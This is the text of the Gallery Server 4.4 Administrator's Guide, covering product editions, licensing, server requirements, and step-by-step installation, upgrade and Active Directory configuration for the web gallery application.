Administrator’s Guide Gallery Server Admin

User Manual:

Open the PDF directly: View PDF PDF.
Page Count: 246 [warning: Documents this large are best viewed by clicking the View PDF Link!]

Administrator’s Guide
Version 4.4
Updated July 4, 2018
Gallery Server 4.4 Administrator’s Guide Page 2 of 246
Contents at a Glance
1. Welcome .................................................................................................................................................................6
2. Installing/Upgrading Gallery Server .................................................................................................................... 11
3. Running Gallery Server ........................................................................................................................................ 43
4. Working with Albums .......................................................................................................................................... 46
5. Working with Media Assets ................................................................................................................................. 60
6. Working with Galleries ........................................................................................................................................ 79
7. User Management and Security .......................................................................................................................... 87
8. Site Administration ............................................................................................................................................ 102
9. Membership Configuration ............................................................................................................................... 189
10. Changing between SQL CE, SQL Server and SQL Azure ................................................................................... 192
11. Customizing Gallery Server .............................................................................................................................. 193
12. Multiple Language Support ............................................................................................................................. 200
13. Using Internet Information Services Manager (IIS Manager) ......................................................................... 203
14. Configuring NTFS Permissions in Microsoft Windows .................................................................................... 209
15. Management Tools for SQL CE and SQL Server ............................................................................................... 214
16. How-To Tutorials ............................................................................................................................................ 215
17. Glossary ........................................................................................................................................................... 245
Gallery Server 4.4 Administrator’s Guide Page 3 of 246
Contents
1. Welcome .................................................................................................................................................................6
How Gallery Server works ..................................................................................................................................6
What’s new in 4.4? .............................................................................................................................................6
What’s new in 4.3? .............................................................................................................................................7
What’s new in 4.2? .............................................................................................................................................7
What’s new in 4.1? .............................................................................................................................................7
What’s new in 4.0? .............................................................................................................................................7
Requirements .....................................................................................................................................................8
Gallery Server Versions .......................................................................................................................................8
License information ............................................................................................................................................9
Known issues ................................................................................................................................................... 11
2. Installing/Upgrading Gallery Server .................................................................................................................... 11
Upgrade information ....................................................................................................................................... 11
Installation overview ....................................................................................................................................... 14
Install Gallery Server (on-premises editions) .................................................................................................. 16
Upgrade from 4.X ............................................................................................................................................ 19
Upgrade from 3.X ............................................................................................................................................ 20
Upgrade from 2.6 ............................................................................................................................................ 21
Upgrade from 2.5 and earlier .......................................................................................................................... 22
Install/Upgrade with Active Directory ............................................................................................................. 22
Configure Windows authentication ................................................................................................................. 34
URL-based automatic logon............................................................................................................................. 38
Boost application startup performance with ngen ......................................................................................... 40
Troubleshooting the installation or upgrade ................................................................................................... 40
Uninstalling Gallery Server .............................................................................................................................. 42
Install the Gallery Server Binary Pack .............................................................................................................. 42
3. Running Gallery Server ........................................................................................................................................ 43
Navigating the gallery ...................................................................................................................................... 43
Add albums and media assets ......................................................................................................................... 45
Edit the albums and media assets ................................................................................................................... 46
4. Working with Albums .......................................................................................................................................... 46
Overview of albums ......................................................................................................................................... 46
Album visibility and security ............................................................................................................................ 46
Create an album .............................................................................................................................................. 47
Album properties ............................................................................................................................................. 47
Move or copy an album ................................................................................................................................... 50
Delete an album .............................................................................................................................................. 50
Gallery Server 4.4 Administrator’s Guide Page 4 of 246
Assign album thumbnail .................................................................................................................................. 50
Synchronize an album ...................................................................................................................................... 51
Album ownership ............................................................................................................................................. 53
Private albums ................................................................................................................................................. 55
User albums ..................................................................................................................................................... 55
5. Working with Media Assets ................................................................................................................................. 60
Overview of media assets ................................................................................................................................ 60
Add media assets ............................................................................................................................................. 60
View/edit media asset properties ................................................................................................................... 62
Download media assets ................................................................................................................................... 62
Sort media assets ............................................................................................................................................. 63
Replace a media asset file ............................................................................................................................... 65
Delete albums and media assets ..................................................................................................................... 67
Delete original files .......................................................................................................................................... 68
Move or copy albums and media assets ......................................................................................................... 70
Rotate/flip media assets .................................................................................................................................. 71
Watermarking .................................................................................................................................................. 74
Searching ......................................................................................................................................................... 78
6. Working with Galleries ........................................................................................................................................ 79
Overview .......................................................................................................................................................... 79
About multiple galleries................................................................................................................................... 80
Every gallery gets its own web page ................................................................................................................ 80
Gallery isolation and user/role security .......................................................................................................... 81
Creating a read-only gallery ............................................................................................................................. 86
7. User Management and Security .......................................................................................................................... 87
Overview .......................................................................................................................................................... 87
Users ................................................................................................................................................................ 87
Roles ................................................................................................................................................................ 89
Self-registration ............................................................................................................................................... 93
User permissions ............................................................................................................................................. 96
8. Site Administration ............................................................................................................................................ 102
User Settings .................................................................................................................................................. 102
Users .............................................................................................................................................................. 102
Roles .............................................................................................................................................................. 102
Media Queue ................................................................................................................................................. 102
UI Templates .................................................................................................................................................. 104
Media Templates ........................................................................................................................................... 123
Gallery Manager ............................................................................................................................................ 131
Gallery Server 4.4 Administrator’s Guide Page 5 of 246
CSS Override .................................................................................................................................................. 133
Backup and Restore Data .............................................................................................................................. 134
Event Log ....................................................................................................................................................... 139
Site Settings ................................................................................................................................................... 140
Gallery Settings .............................................................................................................................................. 148
Gallery Control Settings ................................................................................................................................. 150
Albums Settings ............................................................................................................................................. 153
Media Settings ............................................................................................................................................... 158
Image Settings ............................................................................................................................................... 165
Video & Audio ................................................................................................................................................ 170
Metadata Settings ......................................................................................................................................... 173
File Types (Media Asset Types) ...................................................................................................................... 187
9. Membership Configuration ............................................................................................................................... 189
Membership overview ................................................................................................................................... 189
Change membership configuration ............................................................................................................... 190
10. Changing between SQL CE, SQL Server and SQL Azure ................................................................................... 192
Overview ........................................................................................................................................................ 192
Instructions .................................................................................................................................................... 192
11. Customizing Gallery Server .............................................................................................................................. 193
Overview ........................................................................................................................................................ 193
Skinning ......................................................................................................................................................... 194
Edit the source code ...................................................................................................................................... 198
Adding a gallery to an existing website ......................................................................................................... 198
12. Multiple Language Support ............................................................................................................................. 200
13. Using Internet Information Services Manager (IIS Manager) ......................................................................... 203
Configure a directory to run as a web application ........................................................................................ 203
Discover the user account Gallery Server is running under .......................................................................... 206
14. Configuring NTFS Permissions in Microsoft Windows .................................................................................... 209
Overview ........................................................................................................................................................ 209
Adjust account NTFS permissions .................................................................................................................. 209
15. Management Tools for SQL CE and SQL Server ............................................................................................... 214
Overview ........................................................................................................................................................ 214
SQL CE ............................................................................................................................................................ 214
SQL Server ...................................................................................................................................................... 215
16. How-To Tutorials ............................................................................................................................................ 215
Overview ........................................................................................................................................................ 215
How-To: Install using Microsoft Web Application Gallery on a web host ..................................................... 215
How-To: Set up multiple galleries .................................................................................................................. 219
Gallery Server 4.4 Administrator’s Guide Page 6 of 246
How-To: Enable Facebook comment engine ................................................................................................. 227
How-To: Add a gallery to an existing ASP.NET application (no compile) ...................................................... 230
How-To: Add a gallery to an existing ASP.NET application (compile required) ............................................ 234
How-To: Integrate into non-ASP.NET web sites (iframe Method) ................................................................ 243
17. Glossary ........................................................................................................................................................... 245
1. Welcome
Gallery Server is a digital asset management and web gallery application for sharing photos, video,
audio, documents and other files. It is intended for users who want to share large collections of media assets
on their own web site while maintaining a high degree of control.
View the Release History page to see full details for each release.
How Gallery Server works
Gallery Server is a web application you install on your web server or your web hosting company's
server.
Add your media library by synchronizing your directory containing photos, videos and other media
assets with the Gallery Server database. You can also ZIP your files and upload them.
Gallery Server automatically creates a thumbnail image to represent each media asset. If you upload
a high resolution image, a bandwidth-friendly, compressed version is created. EXIF, IPTC and other
types of metadata are extracted and stored in the database.
Media asset files are stored on the local hard drive or a UNC-accessible location such as a NAS
device or network share. Metadata about these files, such as width, height, caption, etc. are stored
in the database.
When web users browse your albums and media assets, Gallery Server queries the database for the
necessary information and dynamically renders a custom web page. If watermarking is enabled, the
watermark is applied to the image before it is sent.
The Gallery Server Binary Pack is a free, optional add-on collection of open source utilities that
supercharge your gallery, giving it the ability to generate thumbnails from videos, create web-
optimized versions of video and audio files, and provides enhanced image processing for a variety of
files.
What’s new in 4.4?
Version 4.4 adds a direct link to the media asset URL in the share dialog window. There are also updates
to the tinyMCE and signalR third party libraries. Finally, there are a few bug fixes. Read full details about
them on the release history page.
Gallery Server 4.4 Administrator’s Guide Page 7 of 246
What’s new in 4.3?
Version 4.3 adds the ability to replace the file of an existing media asset. There are also updates to the
following third party libraries: plUpload, tinyMCE, jsTree, and MSBuildTasks. The plUpload upgrade includes
an improved algorithm for generating client-side images. Finally, there are a couple bug fixes. Read full
details about them on the release history page.
What’s new in 4.2?
Version 4.2 updates most of the third party libraries to the latest versions. This includes jQuery, jQuery
UI, jQuery Migrate, jsRender/jsViews, SignalR, SlickGrid, MSBuildTasks, TypeScript, jsTree, tinyMCE and
plUpload. There is also new support for a gallery admin to upload a watermark image directly from the
Image Settings page. And of course there are several bug fixes. Read full details about them on the release
history page.
What’s new in 4.1?
Version 4.1 introduces built-in support for Active Directory groups, workflow enhancements, improved
messaging, and several bug fixes. Read full details about them on the release history page.
What’s new in 4.0?
Gallery Server 4 is a major release and has a tremendous number of new features along with dozens of
bug fixes. Read full details about them on the release history page, but let’s quickly hit the big ones.
Ribbon toolbar Manage your gallery faster and with less clicks using the new, ajax-enabled ribbon
interface. Most tasks, such as editing properties, creating albums, moving/copying items and more can be
done without leaving the current page.
Image and HTML editors Crop, resize and more with the new image editor. Add rich text and formatting
with the tinyMCE-based HTML editor.
Metadata writing Common properties such as titles, captions, tags and more can now be written back to
the original media file, preserving your hard work long after you’ve moved on from Gallery Server.
High resolution viewer View the original, high resolution images and videos in the browser.
Performance improvements We improved performance in several key areas. There’s a new smart cache
algorithm that only purges changed items, the synchronization engine is up to 50% faster, ZIP file downloads
are 80% faster, and a new delayed image downloading algorithm improves performance when loading
albums with hundreds or thousands of assets.
There is also new RAW file support, improved touchscreen support, auto-logon capability, a new loop
slideshow option, an ‘Authenticated Users’ role, improved ImageMagick support, and support for extracting
people tags from Windows Photo Gallery.
Gallery Server 4.4 Administrator’s Guide Page 8 of 246
Requirements
Server Requirements
Microsoft .NET Framework 4.5 or higher
Internet Information Services (IIS) 7.0 or higher or a compatible web server
Optional: SQL Server 2008 or higher, including the free Express versions. It does not have to be
installed on your server, but it must be available on the network.
Optional: SMTP server (required for e-mail functionality).
Optional: Full trust. When the gallery is running under full trust, it automatically takes advantage of
features available only in full trust, such as video and audio transcoding.
Client Requirements
Any modern web browser (IE 11, Edge, Firefox, Opera, Safari, Chrome)
Gallery Server Versions
Gallery Server is available in several versions. Each of these is described in more detail below.
Gallery Server 30-day trial
Gallery Server, Web Platform Installer (WPI) and Azure version
Gallery Server Free
Gallery Server Home & Nonprofit
Gallery Server Enterprise
Gallery Server Enterprise Ultimate
Gallery Server Enterprise AWS
Gallery Server 30-day trial
The 30-day trial includes the Free, Home & Nonprofit, Enterprise, and Enterprise Ultimate versions. The
license key you enter unlocks the features appropriate for that version.
Use this version to install a new gallery or upgrade a gallery from 2.6 or earlier.
The installation process is largely the same whether you are installing it locally or using a hosting
provider. The basic steps are:
1. Extract the files from the ZIP and convert the root directory to a web application in IIS.
2. Use your browser to navigate to the default page and create the administrator account.
3. Optional: Install the Gallery Server Binary Pack.
4. You’re done!
Gallery Server 4.4 Administrator’s Guide Page 9 of 246
Step by step instructions are found later in this manual.
Gallery Server, Web Platform Installer (WPI) and Azure version
The Web Platform Installer (WPI) and Azure version is a variant of Gallery Server that is installed through
Microsoft’s Web Platform Installer tool and the Azure Marketplace. Like the trial version, it can be converted
to one of the registered versions with the applicable license key. It is installed through one of these
methods:
1. Using the Web Platform Installer. Again, this method can only be used when logged on to the web
server.
2. Web host control panel. If you are using a web hosting company that integrates the Web Application
Gallery into its control panel, you can use that to install Gallery Server.
3. Azure Marketplace.
This version is automatically configured to use SQL CE as the data store. For the fastest and most robust
gallery, we recommend using SQL Server rather than SQL CE. This requires the Home & Nonprofit or higher
edition. Here are instructions for switching a gallery to SQL Server.
Gallery Server Free
This is a highly capable gallery with most of the features of the commercial editions. It is open source
software released under the GNU General Public License.
Get this version by installing the 30-day trial or upgrade package and then applying a license key for
Gallery Server Free.
Gallery Server Home & Nonprofit, Gallery Server Enterprise, and Gallery Server Enterprise
Ultimate
These are commercial variants of Gallery Server with varying levels of features and support. Refer to the
comparison chart for full details.
Gallery Server Enterprise AWS
This is a cloud-hosted version running on Amazon Web Services (AWS) infrastructure. Gallery Server
Enterprise is pre-installed, configured, and licensed on a Windows Server VM. Try for free for 30 days, then
pay by the hour or annually.
Learn more about running Gallery Server in the cloud.
License information
Registering Gallery Server (applies to all on-premises editions)
Gallery Server requires registration after the initial 30-day trial. The only exception is Gallery Server
Enterprise AWS, which is pre-licensed. During the trial, your gallery contains all the features of the Gallery
Gallery Server 4.4 Administrator’s Guide Page 10 of 246
Server Enterprise edition. When the trial expires, a watermark appears on each image and the site admin
area becomes read-only.
If you decide to continue using it, it can be converted to any of the editions by copying a file named
version_key.txt into the App_Data directory and entering license information in the site admin area. This
information is provided to you after completing your purchase at https://galleryserverpro.com.
You are allowed a limited number of activations with your license key. To install Gallery Server on
another server, first deactivate the key on the old installation. If you are using Gallery Server in a staging
environment in addition to a production environment, you can use the same key to activate both instances.
Activate the free version of Gallery Server the same as you would activate the commercial version.
Choose Gallery Server Free on the website and complete the checkout process. You will not be asked for
payment information.
Note: The Web Platform Installer version of Gallery Server acts a little different at the end of the trial
period. No functionality is restricted. Instead, a picture of our founder Roger Martin appears on
every page in the Site Admin area. Make him go away by entering a license key.
Product updates and support
Beginning with version 4, your license includes updates and support for one year. As updates are
released, they are automatically added to the downloads section of your account.
Note: If you are using Gallery Server Enterprise AWS, updates and support are available as long as your
subscription is active.
At the end of the year, your subscription will automatically renew at approximately 50% of the original
price. By continuing your subscription, you will always have access to the latest security updates, bug fixes,
and new features. You can review your subscription, change payment details, and turn off auto-renew on
your account page.
If you choose to let your subscription expire, you can continue using Gallery Server. The subscription
gives you updates and support, but it does not restrict your perpetual rights to running Gallery Server on
your web server. You may re-subscribe at any time at the current price.
Forum support is included in Enterprise and higher editions of Gallery Server. Phone support is included
in Enterprise Ultimate. Review the documentation provided with your purchase for more details.
Gallery Server Free works a bit differently. Since it is a free product, it does not use the subscription
model. Updates will be added to your downloads section on a continuous basis. There is no official support
for Gallery Server Free or the 30-day trial. You can find answers to many questions in the Admin Guide or
the forum.
Anyone can post questions in the forum, even without an active subscription. We guarantee answers
only to those users posting from an account with an active, supported subscription.
Gallery Server 4.4 Administrator’s Guide Page 11 of 246
Source code
The source code is included with Gallery Server Enterprise Ultimate. Find it in the downloads section of
your account page.
The source code for Gallery Server Free is released under the GPL. Instructions for obtaining it are
included in the confirmation e-mail sent to you.
Known issues
None
2. Installing/Upgrading Gallery Server
This chapter contains the following sections:
Upgrade information
Installation overview
Install Gallery Server
Upgrade from 4.X
Upgrade from 3.X
Upgrade from 2.6
Upgrade from 2.5 and earlier
Install new AD-enabled gallery or convert existing one
Upgrade an AD-enabled gallery from 3.X
Upgrade an AD-enabled gallery from 2.6
Upgrade information
Upgrading from 4.X
Upgrades are included at no charge to all users with an active subscription. Your purchase includes a
one-year subscription. Check your account page for access to your subscription and any available
downloads. Instructions for upgrading can be found later in this document.
Step by step instructions for upgrading from 4.X are here.
Gallery Server 4.4 Administrator’s Guide Page 12 of 246
Upgrading from 2.X or 3.X
Gallery Server 4 is a major release. As such, it requires a new license key.
A discount is available if you are upgrading from a version 3 commercial license. To receive the discount,
enter your 3.X product key on the Gallery Server product page before you add it to your cart. The discount
will be automatically applied. Your purchase gives you access to an upgrade package and a license key.
If you want to play with Gallery Server 4 before purchasing an upgrade, install the 30-day trial.
Upgrading existing gallery installations on a trial basis is not supported.
Be aware of some important things that have changed in version 4.
New UI templates Due to the significant changes to the UI, version 4 introduces a new set of UI templates.
If you modified any UI templates in your 3.X gallery, you will need to merge your changes. The 3.X templates
are deactivated during the upgrade but can still be viewed on the UI Template page. Here is an example of
what they look like:
NOTE: In version 4 the UI Template editor is available only in Gallery Server Enterprise and higher,
so you’ll need that version or higher to merge your 3.X changes. If you are sticking with one of the
lower versions, there is a workaround: (1) In your 3.X database file (App_Data\GalleryDb.sdf), use
SQL Server Compact Toolbox to change the value of the DateAdded column to today’s date for all
records in the table named ‘Gallery’. (2) Use the Backup/Restore page to create a backup file of
your 3.X gallery. (3) Install the 30-day trial of Gallery Server 4 in a new location. (4) Restore your 3.X
backup to your new gallery. (5) Use the UI Template editor to merge your changes (the trial
includes all the features of the Enterprise edition for 30 days, including the UI Template editor). (6)
Replace your 3.X gallery with your new one.
To ease the upgrade, we recommend this process if you have UI template customizations to migrate to
version 4:
1. Before the upgrade, look through your UI templates and make a note of any that are targeting
current albums. Note which albums they are targeting.
2. Upgrade to version 4.
3. Enter a license key for Gallery Server Enterprise or higher.
4. Go to the UI Template editor, make copies of the new default templates, then apply your
customizations.
Gallery Server 4.4 Administrator’s Guide Page 13 of 246
CSS overwritten In Gallery Server 3.X the CSS page in the site admin area let you edit the CSS for the
gallery. When upgrading to 4.0, your changes will be replaced with the latest CSS, so if you’ve edited the CSS
you’ll want to make a note of those changes and they re-apply them after the upgrade.
Gallery Server improves this behavior in 4.0. We replaced the original CSS page with one called CSS Override,
which lets you add CSS that is stored separately from the main CSS files. If you add CSS to this page, which
starts out blank, it is stored in the database and will be preserved during future upgrades.
Unspecified MIME types setting deprecated In Gallery Server 3.X there was an option on the bottom of
the Media Object Types page that, when enabled, allowed users to add any file type to the gallery:
Although it was off by default and the tooltip had a warning about the security implications, we now believe
the risk is too great to allow it. If you have this setting enabled, the upgrade script will automatically enable
all existing file types and then disable this setting.
Version 4 now allows one to add, edit and remove MIME types on the File Types page, so if you want to let
users upload a file type that is not present on that page, it is easy to add.
Default role setting In Gallery Server 3.X the User Settings page had an option where you could specify
one or more roles that self-registered users were assigned to. This has been modified in version 4 to apply to
all users, regardless of how or when they were created. Here is what it now looks like on the User Settings
page:
In addition, a new role called Authenticated Users is created and then added to any existing roles in this
setting. By default, in upgraded galleries the Authenticated Users role does not have any permissions, but
you can change that on the Roles page.
Note: New installations of Gallery Server give the Authenticated Users role view permissions to all
users by default.
The main thing to be aware of is that changes to this setting are immediately applied to all user accounts.
For example, if you create a role called Everyone and then add this role to the setting, all users are
immediately added to this role. You do not have to manually add users with the Manage Users page.
Gallery Server 4.4 Administrator’s Guide Page 14 of 246
SQL Server 2005 no longer supported Gallery Server 4 uses features present only in SQL Server 2008 and
higher, so we had to drop support for SQL Server 2005. Note that Microsoft also recently stopped
supporting this version, so we recommend you move to a newer version. If cost is a consideration,
remember that Gallery Server runs great on the free Express edition.
Some features swapped between versions Gallery Server Enterprise or higher is now required for some
features that were previously in the free edition. This includes support for multiple galleries, the UI
Template editor and the Media Template editor. Some Enterprise-only features were moved to all editions.
These are tag clouds, tag trees, and Facebook commenting templates.
If you have multiple galleries in 3.X, note that they will continue working in 4.X, including the ability to edit
settings on most of the administration screens. However, the Gallery Manager page will be read only unless
you have a supported edition. That means you will no longer be able to create or delete galleries, nor will
you be able to assign an ASPX page with a particular gallery.
Internet Explorer 10 and lower not supported Support for older versions of IE has always been labor
intensive, and Microsoft’s recent decision to support only IE 11 and its new Edge browser prompted us to do
the same. You will notice the gallery doesn’t work at all in IE 8 and lower. We briefly tested Gallery Server 4
in IE 9 and 10 and found that although it appeared to work well, we will not spend resources fixing issues in
those browsers.
Installation overview
Before we get started, let’s touch on a few key concepts that will help make the process smoother.
Server Requirements
Review the server requirements and be sure your server satisfies the criteria. Specifically, .NET 4.5 or
higher must be installed. If it isn’t, you may get this error when running the application:
“The 'targetFramework' attribute in the <compilation> element of the Web.config file is used only to
target version 4.0 and later of the .NET Framework (for example, '<compilation
targetFramework="4.0">'). The 'targetFramework' attribute currently references a version that is later
than the installed version of the .NET Framework. Specify a valid target version of the .NET Framework,
or install the required version of the .NET Framework.”
Choosing between SQL CE and SQL Server
There are two types of data managed by Gallery Server:
Gallery Server 4.4 Administrator’s Guide Page 15 of 246
Media files - These are your images, videos, audio files, and documents. The default storage location is
the gs\mediaobjects directory in the Gallery Server web application, but you can specify any location on the
web server's hard drive or any UNC-accessible location.
Gallery data - Information about the media files, such as captions, width, height, and the album to
which they belong. This data is stored in either a SQL CE or SQL Server database.
MICROSOFT SQL SERVER COMPACT (SQL CE)
SQL CE is a self-contained, serverless, zero-configuration, transactional, ACID compliant SQL database
engine. The data reside in a file named GalleryDb.sdf in the App_Data directory of your web application.
ADVANTAGES
No extra software installation
Can be used on all versions of Gallery Server
Great for small galleries (less than 1,000 media files)
DISADVANTAGES
Much slower than SQL Server
2 GB max size and 256 max connections
Increased risk of database corruption
No longer in active development by Microsoft
MICROSOFT SQL SERVER / SQL SERVER EXPRESS
SQL Server is an enterprise class client-server database engine that is extremely fast and highly robust.
It is used by many companies and supported by a large number of web hosting providers.
ADVANTAGES
Much faster than SQL CE
Best for galleries with more than 1,000 media files
Gallery data can be stored in an existing database
Gallery can be integrated with Active Directory (AD) and other membership systems
Data can be centrally managed along with other business data
SQL Server Express is a free download from Microsoft
Gallery Server 4.4 Administrator’s Guide Page 16 of 246
DISADVANTAGES
Requires additional skills for installing and maintaining the SQL Server database
Requires Home & Nonprofit or higher edition
Which is right for you? That depends on your situation. Review the pros and cons above to make an
educated decision. We recommend SQL Server or SQL Server Express for most users, primarily because the
speed difference can be dramatic.
But don’t sweat it! Both databases are fully supported during the 30-day trial period, and you can easily
switch from one to another if you change your mind.
Gallery Server Binary Pack
The Gallery Server Binary Pack is a free collection of open source utilities. They supercharge your gallery,
giving it the ability to generate thumbnails from videos, create web-optimized versions of video and audio
files, and provides enhanced image processing for a variety of files (txt, tiff, cr2, nef, pdf, eps, psd, and
more).
To configure, first install or upgrade to the latest version of Gallery Server. Then follow the instructions
to install the binary pack.
Active Directory integration
Enterprise and higher editions support integration with existing accounts in Active Directory. Read more
in the section Install/Upgrade with Active Directory.
Integrating with an existing web site
The easiest way to install Gallery Server is as a stand-alone web application living in its own directory.
But you can integrate it with an existing web site using one of two techniques:
(ASP.NET sites only) Add the Gallery Server user control to a page (.aspx) or user control (.ascx)
in your web application
Install Gallery Server as a stand-alone application on an ASP.NET-compatible server. Then add an
iframe to your existing site that points to this location.
Read more in the section Customizing Gallery Server.
Install Gallery Server (on-premises editions)
This section describes how to install the stand-alone version of Gallery Server using either SQL CE or SQL
Server for the data storage. The basic steps for installation are:
Gallery Server 4.4 Administrator’s Guide Page 17 of 246
1. Download the 30-day trial or, if you purchased the product, the install package from your account
page. Extract the files to an IIS web server.
2. Configure the directory as a web application running under .NET 4.5 or higher.
3. If you want to use SQL Server (requires SQL Server 2008 or higher), update the connection string in
web.config.
4. Open default.aspx in a browser and follow the link to create an administrator account.
5. (Optional) Install the Gallery Server Binary Pack.
For those of you who appreciate more detailed steps, here are the steps again but in more detail:
1. Download the 30-day trial or, if you purchased the product, the install package from your account
page.
2. Extract the zip file to a directory on your web server or your web hosting company’s server. The
default location for websites in Windows is C:\inetput\wwwroot, but you can use any location.
3. Using IIS Manager or your web hosting company’s control panel, configure the directory to run as an
application in IIS under .NET 4.5.
TIP: For more information on using IIS Manager, refer to Using Internet Information Services
(IIS) Manager. If using a hosting company, refer to their help system for more information.
NOTE: IIS will report the application pool is running under 4.0 even when 4.5, 4.6 or 4.7 is
installed. We know that’s weird, but don’t worry, it’ll work.
4. Give the IIS process identity modify permissions to the App_Data and gs\mediaobjects directory.
NOTE: Refer to Configuring NTFS Permissions in Microsoft Windows if you want more help with
the permissions. If you’re using a hosting company, you can try skipping this step. If you later
get a permission error, use their control panel to adjust the permissions as required.
5. If you want to use SQL Server, open web.config and comment out the SQL CE connection string
named GalleryDb. Uncomment the connection string for SQL Server and modify it to use your
credentials. Be sure the connection string name is GalleryDb. It doesn’t matter what the database
name is. If the specified database does not exist, the gallery will attempt to create it when the app
starts. Be sure the credentials have permission to carry out this task or create the database manually
first. We recommend giving the SQL account db_owner permissions.
Gallery Server 4.4 Administrator’s Guide Page 18 of 246
TIP: A common mistake we see is forgetting to set Trusted_Connection to “no” when you are
specifying a username and password in the connection string.
6. Open default.aspx in a web browser. The database will automatically be configured and seeded with
default data. This step may take a minute or so, so be patient. The screen will look like this:
7. Click the link to create an admin account.
Gallery Server 4.4 Administrator’s Guide Page 19 of 246
8. Install the Gallery Server Binary Pack. This free collection of open source utilities supercharges your
gallery, giving it the ability to generate thumbnails from videos, create web-optimized versions of
video and audio files, and provides enhanced image processing for a variety of files. Instructions are
included in the download package.
TIP: Boost application startup time with ngen.
Upgrade from 4.X
Upgrading your 4.X gallery to the latest version is easy. Just copy the files and directories in the upgrade
package over your existing installation. Download the upgrade package from your account page. No changes
to web.config are necessary. UI template customizations, CSS override values, and other settings will be
preserved.
Gallery Server 4.4 Administrator’s Guide Page 20 of 246
NOTE: The upgrade package contains the file web_use_only_when_upgrading_from_3.X.config . It
is not used when upgrading from 4.X. You may delete it from your web application (but it doesn’t
hurt if you leave it).
NOTE: If you manually edited any of the files, you will need to re-apply those changes. (e.g. you
added a Google Analytics script block to default.aspx).
NOTE: Refer to the troubleshooting section if you encounter any issues.
Upgrade from 3.X
The basic steps for upgrading a gallery from Gallery Server 3.X are:
1. Rename web.config to web_old.config
2. Copy the files from the upgrade package over the existing ones.
3. Rename web_use_only_when_upgrading_from_3.X.config to web.config.
4. Update web.config with your settings from web_old.config.
5. Open default.aspx in a browser
For those of you who appreciate more detailed steps, below we provide step by step directions.
1. If your gallery uses SQL Server, be sure it is SQL Server 2008 or higher. SQL Server 2005 is no longer
supported. SQL Server 2016 Express is freely available from Microsoft.
2. Make a backup of your web application files and database. If you’re using SQL CE, your database file
is in App_Data. SQL Server users should use SQL Server Management Studio or a similar tool.
3. Rename web.config in the root of your gallery web application to web_old.config.
4. Purchase the desired edition of Gallery Server.
5. Download the upgrade version of Gallery Server from the downloads section of your account page.
6. Extract the contents over your existing application.
7. Rename web_use_only_when_upgrading_from_3.X.config to web.config.
8. Open web.config and web_old.config in a text editor. Copy your custom settings from
web_old.config to web.config. These typically include connection strings, mail settings, and for
Active Directory integrations the membership and role configuration.
NOTE: If you never edited this file, there is nothing to merge. This is often the case when using
SQL CE.
9. Open the gallery in the browser. You are now running the new version!
10. Enter the license email and license key on the Site Settings page (Settings ribbon tab). They were
provided to you after your purchase.
Gallery Server 4.4 Administrator’s Guide Page 21 of 246
11. (Optional) If you haven’t installed the Gallery Server Binary Pack or updated it in a while, this is a
great time to do it. This free collection of open source utilities supercharges your gallery, giving it
the ability to generate thumbnails from videos, create web-optimized versions of video and audio
files, and provides enhanced image processing for a variety of files. Instructions are included in the
download package.
NOTE: Refer to the troubleshooting section if you encounter any issues.
TIP: Boost application startup time with ngen.
Upgrade from 2.6
Gallery Server requires .NET 4.5 or higher, so be sure your server has this version installed before
upgrading.
Below are step by step directions for upgrading your version of Gallery Server.
1. Make a backup of your database, web files, and media files. You will need to refer to web.config if
you’re using SQL Server, so at the very least be sure you have this backed up (it’s in the root of the
gallery web application). You can delete the backup when you are confident the upgrade is
successful.
2. In your 2.6 gallery, go to the backup/restore page and create a backup file of your user accounts and
gallery data.
3. Delete the gallery web files from your server. DO NOT delete your media files (the ones stored in
gs\mediaobjects by default).
4. Install the 30-day trial or, if you purchased the product, the install package from your account page
in the same location as you had the 2.6 version. Follow the New Installation instructions, including
creating an admin account and optionally installing the Gallery Server Binary Pack.
NOTE: If using SQL Server, you have a choice to continue using the same database you used for
2.6 or start with a fresh database. You can even switch to SQL CE at this time if you want.
Version 3+ uses a different set of tables, so your 4.X data can be configured alongside your 2.6
data. You can delete the 2.6 data and stored procedures to clear up space. 2.6 tables begin with
a “gs_” prefix while 3+ tables belong to the gsp schema (e.g. gsp.Album). Stored procedures are
no longer used in 3+.
5. At this point you should have a brand new, empty gallery.
6. Log in as an administrator and navigate to the Backup & Restore page on the Admin ribbon tab. Click
the restore tab and upload the backup file you created earlier. Then restore it.
7. The restore operation detects the file is from 2.6 and upgrades the schema as it imports it. For large
galleries this can take a few minutes, especially if you are using SQL CE.
8. Once complete, review the settings on the various admin pages to verify everything looks the way
you want it.
Gallery Server 4.4 Administrator’s Guide Page 22 of 246
NOTE: The list of enabled file types reverts to only jpg and jpeg files. After the upgrade, go to
the File Types page to re-enable the desired file types.
Upgrade from 2.5 and earlier
You can upgrade from 2.5 and earlier, following a two-step process:
1. Upgrade to 2.6.1.
2. Upgrade from 2.6.1 to 4.
To perform the migration to 2.6.1, go to the Gallery Server Release History and download the 2.6.1
upgrade package. Then follow the upgrade instructions in the 2.6.1 Administrator’s Guide, also found on this
page.
Once your site is running 2.6.1, follow the directions in the Upgrading from 2.6 section.
Install/Upgrade with Active Directory
Overview
You can configure Gallery Server to use your existing accounts in Active Directory. This allows your users
to log in with the same username and password they use to access the network, reducing account
duplication and maintenance issues. Accounts can be added to roles just like with a regular installation.
You can also use Active Directory groups to manage access to gallery resources. See Integrate with AD
groups for more information.
Gallery Server supports forms authentication and Windows authentication. The instructions below
configure the gallery to use forms authentication. See Configure Windows authentication to learn more
about the differences between them and to set up Windows authentication.
Notes:
You must be using the 30-day trial or have a licensed copy of Enterprise or higher edition.
You must use SQL Server or SQL Server Express.
Install new AD-enabled gallery or convert existing one
This section is for these scenarios:
You are installing a new gallery and want to use the accounts in Active Directory for the user
accounts.
You have an existing gallery updated to the latest version and want to convert the membership to
use Active Directory accounts instead of the internal set of users.
Follow these steps.
Gallery Server 4.4 Administrator’s Guide Page 23 of 246
1. If setting up a new gallery, follow the first four steps in the section Install Gallery Server (through
setting up the SQL Server connection string).
2. If the SQL Server database does not yet exist, create it now using a tool like SSMS.
3. Update the database to contain the SQL Membership and Role schema. Microsoft provides a tool
named aspnet_regsql.exe that makes this easy. By default, it is at
C:\Windows\Microsoft.NET\Framework\v4.0.30319. Run the tool. The first screen looks like this:
4. Click Next and verify the option Configure SQL Server for application services is selected:
5. Enter the SQL Server credentials and choose the gallery database:
Gallery Server 4.4 Administrator’s Guide Page 24 of 246
6. Click Next a couple times to complete the wizard.
7. Use a text editor to open the web.config file found in the root of the gallery.
a. Add a connection string for AD to the connectionStrings section:
<add name="ADConnection" connectionString="LDAP://192.168.1.1/CN=users,DC=mydomain,DC=techinfosystems,DC=com"/>
